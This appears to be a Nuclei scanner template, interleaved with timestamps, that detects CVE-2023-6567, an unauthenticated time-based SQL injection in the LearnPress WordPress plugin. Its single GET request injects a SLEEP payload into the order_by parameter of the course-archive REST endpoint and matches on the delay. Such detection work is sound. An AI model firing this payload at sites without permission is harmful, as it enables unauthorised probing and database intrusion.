2024-03-09 14:23:42 +00:00
id : CVE-2023-6567
info :
name : LearnPress <= 4.2.5.7 - SQL Injection
author : iamnoooob,rootxharsh,pdresearch
2024-03-23 09:28:19 +00:00
severity : high
2024-03-09 14:23:42 +00:00
description : |
The LearnPress plugin for WordPress is vulnerable to time-based SQL Injection via the 'order_by' parameter in all versions up to, and including, 4.2.5.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
remediation : Fixed in version 4.2.5.8
reference :
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/learnpress/learnpress-4257-unauthenticated-sql-injection-via-order-by
- https://wpscan.com/vulnerability/c5110450-3b4e-4100-8db4-0d7f5d43c12f/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6567
2024-03-23 09:28:19 +00:00
- https://plugins.trac.wordpress.org/changeset/3013957/learnpress
- https://www.wordfence.com/threat-intel/vulnerabilities/id/6ab578cd-3a0b-43d3-aaa7-0a01f431a4e2?source=cve
2024-03-09 14:23:42 +00:00
classification :
2024-03-23 09:28:19 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2024-03-09 14:23:42 +00:00
cve-id : CVE-2023-6567
2024-03-23 09:28:19 +00:00
cwe-id : CWE-89
epss-score : 0.00078
epss-percentile : 0.32303
cpe : cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
2024-03-09 14:23:42 +00:00
metadata :
verified : true
2024-03-23 09:28:19 +00:00
max-request : 1
vendor : thimpress
product : learnpress
framework : wordpress
2024-03-09 14:23:42 +00:00
publicwww-query : "/wp-content/plugins/learnpress"
2024-03-23 09:28:19 +00:00
tags : wpscan,cve,cve2023,wp,wp-plugin,wordpress,learnpress,sqli
2024-03-09 14:23:42 +00:00
http :
- method : GET
path :
- "{{BaseURL}}/wp-json/lp/v1/courses/archive-course?&order_by=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))X)&limit=-1"
matchers :
- type : dsl
dsl :
- 'duration>=6'
- 'contains_all(header, "lp_session_guest=", "application/json")'
- 'contains_all(body, "status\":\"success", "No courses were found")'
condition : and
2024-03-25 11:57:16 +00:00
# digest: 4a0a0047304502210085b3b5a77e87f606925cb203290c351bfd67682723d02555577f4197749a33d002203afee6ee56b4b406278f2cecc726ba148b39886cff4d5476eb0cc3775c15b319:922c64590222798bb761d5b6d8e72950